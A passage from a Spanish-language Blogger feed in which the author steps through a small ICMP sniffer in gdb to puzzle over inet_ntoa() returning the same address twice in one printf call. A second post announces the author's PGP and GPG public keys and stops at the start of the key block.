&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfbfed40	&lt;span style="color: rgb(0, 0, 0);"&gt;-1077940928&lt;/span&gt;&lt;br&gt;edi &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0	&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;br&gt; &lt;br&gt;eip &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x8048309	0x8048309&lt;br&gt;eflags &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x246	&lt;span style="color: rgb(0, 0, 0);"&gt;582&lt;/span&gt;&lt;br&gt;cs &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x33	&lt;span style="color: rgb(0, 0, 0);"&gt;51&lt;/span&gt;&lt;br&gt;ss &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x3b	&lt;span style="color: rgb(0, 0, 0);"&gt;59&lt;/span&gt;&lt;br&gt; &lt;br&gt;ds &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x3b	&lt;span style="color: rgb(0, 0, 0);"&gt;59&lt;/span&gt;&lt;br&gt;es &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x3b	&lt;span style="color: rgb(0, 0, 0);"&gt;59&lt;/span&gt;&lt;br&gt;fs &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x3b	&lt;span style="color: rgb(0, 0, 0);"&gt;59&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gs&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x1b	&lt;span style="color: rgb(0, 0, 0);"&gt;27&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; x&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;4&lt;/span&gt; 0xbfbfecb0&lt;br&gt; &lt;br&gt;0xbfbfecb0:	0x00000003	0x28102000	0x00010000	0x00000000&lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; step &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;[&lt;/span&gt;+&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;]&lt;/span&gt; ICMP: &lt;span style="color: rgb(0, 0, 0);"&gt;74.125&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.95&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.147&lt;/span&gt;	-&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt;	&lt;span style="color: rgb(0, 0, 0);"&gt;74.125&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.95&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.147&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;52&lt;/span&gt;					&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;break&lt;/span&gt;;&lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; x&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;4&lt;/span&gt; 0xbfbfecb0&lt;br&gt; &lt;br&gt;0xbfbfecb0:	0x08062664	0x08066e98	0x08066e98	0x00000000&lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;printf&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;%s&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;, 0x08062664&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;[&lt;/span&gt;+&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;]&lt;/span&gt; ICMP: &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt;s	-&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt;	&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt;s&lt;br&gt; &lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;printf&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;%s&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;, 0x08066e98&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;74.125&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.95&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.147&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; x&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;4&lt;/span&gt; 0xbfbfecb0&lt;br&gt; &lt;br&gt;0xbfbfecb0:	0x08062664	0x08066e98	0x08066e98	0x00000000&lt;br&gt;&amp;nbsp;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;# gdb ./sniffer&lt;/span&gt;&lt;br&gt;GNU &lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;6.1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.1&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;[&lt;/span&gt;FreeBSD&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;break&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;49&lt;/span&gt;&lt;br&gt; &lt;br&gt;Breakpoint &lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt; at 0x8048309: &lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;file&lt;/span&gt; sniffer.c, line &lt;span style="color: rgb(0, 0, 0);"&gt;49&lt;/span&gt;.&lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; run&lt;br&gt; &lt;br&gt;Starting program: &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;usr&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;home&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;Anon&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;sniffer &lt;br&gt; &lt;br&gt;Esperando paquetes...&lt;br&gt;&amp;nbsp;&lt;br&gt;Breakpoint &lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;, main &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; at sniffer.c:&lt;span style="color: rgb(0, 0, 0);"&gt;49&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;49&lt;/span&gt;						&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;printf&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;[+] ICMP: %s&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\t&lt;/span&gt;-&amp;gt;&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\t&lt;/span&gt;%s&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;,inet_ntoa&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;iphead-&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt;ip_src&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt;,inet_ntoa&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;iphead-&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt;ip_dst&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt;;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;printf&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;0x%x&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;, buff&lt;br&gt; &lt;br&gt;0x28102000&lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; i r&lt;br&gt; &lt;br&gt;eax &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x1	&lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;&lt;br&gt;ecx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfbfec98	&lt;span style="color: rgb(0, 0, 0);"&gt;-1077941096&lt;/span&gt;&lt;br&gt;edx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0	&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;br&gt;ebx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x1	&lt;span style="color: rgb(0, 0, 0);"&gt;1&lt;/span&gt;&lt;br&gt; &lt;br&gt;esp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfbfecb0	0xbfbfecb0&lt;br&gt;ebp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfbfecf8	0xbfbfecf8&lt;br&gt;esi &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0xbfbfed40	&lt;span style="color: rgb(0, 0, 0);"&gt;-1077940928&lt;/span&gt;&lt;br&gt;edi &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x0	&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;br&gt; &lt;br&gt;eip &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;0x8048309	0x8048309&lt;br&gt;eflags &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x246	&lt;span style="color: rgb(0, 0, 0);"&gt;582&lt;/span&gt;&lt;br&gt;cs &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x33	&lt;span style="color: rgb(0, 0, 0);"&gt;51&lt;/span&gt;&lt;br&gt;ss &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x3b	&lt;span style="color: rgb(0, 0, 0);"&gt;59&lt;/span&gt;&lt;br&gt; &lt;br&gt;ds &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x3b	&lt;span style="color: rgb(0, 0, 0);"&gt;59&lt;/span&gt;&lt;br&gt;es &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x3b	&lt;span style="color: rgb(0, 0, 0);"&gt;59&lt;/span&gt;&lt;br&gt;fs &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x3b	&lt;span style="color: rgb(0, 0, 0);"&gt;59&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gs&lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 0x1b	&lt;span style="color: rgb(0, 0, 0);"&gt;27&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; x&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;4&lt;/span&gt; 0xbfbfecb0&lt;br&gt; &lt;br&gt;0xbfbfecb0:	0x00000003	0x28102000	0x00010000	0x00000000&lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; step &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;[&lt;/span&gt;+&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;]&lt;/span&gt; ICMP: &lt;span style="color: rgb(0, 0, 0);"&gt;74.125&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.95&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.147&lt;/span&gt;	-&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt;	&lt;span style="color: rgb(0, 0, 0);"&gt;74.125&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.95&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.147&lt;/span&gt;&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;52&lt;/span&gt;					&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;break&lt;/span&gt;;&lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; x&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;4&lt;/span&gt; 0xbfbfecb0&lt;br&gt; &lt;br&gt;0xbfbfecb0:	0x08062664	0x08066e98	0x08066e98	0x00000000&lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;printf&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;%s&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;, 0x08062664&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;[&lt;/span&gt;+&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;]&lt;/span&gt; ICMP: &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt;s	-&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt;	&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt;s&lt;br&gt; &lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;printf&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;%s&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;, 0x08066e98&lt;br&gt; &lt;br&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;74.125&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.95&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.147&lt;/span&gt;&lt;br&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; x&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;4&lt;/span&gt; 0xbfbfecb0&lt;br&gt; &lt;br&gt;0xbfbfecb0:	0x08062664	0x08066e98	0x08066e98	0x00000000&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;br&gt;&lt;/font&gt;&lt;/pre&gt;&lt;div&gt;&lt;pre&gt;&lt;font size="1"&gt;&lt;font style="font-family: verdana,sans-serif;" size="2"&gt;Como pueden ver después de ejecutar el step en la pila tenemos&lt;/font&gt;&lt;br&gt; &lt;br&gt;&lt;br&gt;&lt;/font&gt;&lt;/pre&gt;&lt;/div&gt;&lt;font size="1"&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; x&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;4&lt;/span&gt; 0xbfbfecb0&lt;br&gt;  0xbfbfecb0:	0x08062664	0x08066e98	0x08066e98	0x00000000&lt;br&gt;La primera es la cadena de formato:&lt;br&gt;&lt;br&gt;&lt;/font&gt;&lt;div&gt;&lt;font size="1"&gt;Código&lt;/font&gt;&lt;/div&gt;&lt;font size="1"&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;printf&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;%s&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;, 0x08062664&lt;br&gt;  &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;[&lt;/span&gt;+&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;]&lt;/span&gt; ICMP: &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt;s	-&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&amp;gt;&lt;/span&gt;	&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;%&lt;/span&gt;s&lt;br&gt;  &lt;br&gt;&lt;font style="font-family: verdana,sans-serif;" size="2"&gt;Y las 2 siguientes es la misma IP de Origen&lt;/font&gt;&lt;br&gt;&lt;br&gt;&lt;/font&gt;&lt;div&gt;&lt;font size="1"&gt;Código&lt;/font&gt;&lt;/div&gt;&lt;font size="1"&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(194, 12, 185); font-weight: bold;"&gt;gdb&lt;/span&gt;&lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;)&lt;/span&gt; &lt;span style="color: rgb(122, 8, 116); font-weight: bold;"&gt;printf&lt;/span&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;&amp;quot;%s&lt;span style="color: rgb(0, 0, 153); font-weight: bold;"&gt;\n&lt;/span&gt;&amp;quot;&lt;/span&gt;, 0x08066e98&lt;br&gt;  &lt;span style="color: rgb(0, 0, 0);"&gt;74.125&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.95&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.147&lt;/span&gt;&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;font style="font-family: verdana,sans-serif;" size="2"&gt;en conclusión, el &lt;b&gt;inet_ntoa&lt;/b&gt; o algo no esta funcionando bien &lt;b&gt;Tiene un Bug!!&lt;/b&gt; Aun que este no es muy dañino.&lt;/font&gt;&lt;/font&gt;&lt;br style="font-family: verdana,sans-serif;"&gt;  &lt;br style="font-family: verdana,sans-serif;"&gt;&lt;br style="font-family: verdana,sans-serif;"&gt;&lt;span style="font-family: verdana,sans-serif;"&gt;Y en cambio como mencione en el post si lo ejecutamos desde 2 printf distintos eso no pasa, debido a que la dirección Estática se renueva, ¿Por que no se renueva cuando se mandan los 2 al mismo printf?&lt;/span&gt;&lt;br style="font-family: verdana,sans-serif;"&gt; &lt;span style="font-family: verdana,sans-serif;"&gt;&lt;/span&gt;&lt;br style="font-family: verdana,sans-serif;"&gt;&lt;span style="font-family: verdana,sans-serif;"&gt;&lt;/span&gt;&lt;br&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3462995030631123680-5789701932051537197?l=stack-and-heap.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://stack-and-heap.blogspot.com/feeds/5789701932051537197/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3462995030631123680&amp;postID=5789701932051537197' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5789701932051537197'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3462995030631123680/posts/default/5789701932051537197'/><link rel='alternate' type='text/html' href='http://stack-and-heap.blogspot.com/2009/01/posible-error-en-inetntoa.html' title='Posible error en inet_ntoa()'/><author><name>Anon</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_1zYIthtq7IY/SWQG8OnczqI/AAAAAAAAAAM/X18Y-tVPjTw/S220/ojo8080li7.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3462995030631123680.post-3548669918470935135</id><published>2009-01-06T20:36:00.003-06:00</published><updated>2009-02-23T12:36:36.800-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='RSA'/><category scheme='http://www.blogger.com/atom/ns#' term='elhacker.net'/><category scheme='http://www.blogger.com/atom/ns#' term='DSA'/><category scheme='http://www.blogger.com/atom/ns#' term='PGP'/><category scheme='http://www.blogger.com/atom/ns#' term='Anon'/><title type='text'>Mis llaves PGP</title><content type='html'>&lt;p&gt;&lt;span style="font-family:courier new,monospace;"&gt;Bueno anteriormente habia creado una llave RSA utilizando pgp:&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new,monospace;"&gt;Anon@localhost % pgp -h&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;Pretty Good Privacy(tm) 2.6.3ia&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:courier new,monospace;"&gt;----&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:courier new,monospace;"&gt;Esto lo hice con esa version ya que FreeBSD no me dejaba instalar algunas de las mas recientes.&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:courier new,monospace;"&gt;Sin embargo la llave ya esta en los servidores de llaves publicas, ahora despues de mucho intentar he logrado usar las mismas llaves desde gnupg o gpg como la mayoria lo conoce, despues de tener problemas con el algoritmo IDEA y ver que el sistema puede en algunos años mas ser medianamente obsoleto (si no es que totalmente). Decidi crear Una nueva llave con gpg y firmarla con mi llave anterior, asi que ahora tengo doble trabajo de administrar 2 llaves diferentes, he hecho esto para no revocar la llave anteir, y apartir de ahora ya pueden enviarme archivos cifrados con ambas llaves, aun que encarecidamente sugiero que usen la nueva llave&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-family:courier new,monospace;"&gt;Llave Anterior RSA:&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="font-family:courier new,monospace;"&gt;Key ID: 0x&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;F5B475FD&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;Fingerprint for RSA Key: &lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;0F 5B BC 84 15 1C 60 D1  B1 53 73 C1 FF 89 10 EE&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;1024R/F5B475FD Anon &amp;lt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;a href="mailto:Anon@elhacker.net"&gt;Anon[at]elhacker.net&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&amp;gt;&lt;/span&gt;&lt;/p&gt;  &lt;p&gt;&lt;span style="font-size:78%;"&gt;&lt;span style="font-family:courier new,monospace;"&gt;-----BEGIN PGP PUBLIC KEY BLOCK-----&lt;/span&gt;&lt;span style="font-family:courier new,monospace;"&gt;&lt;br 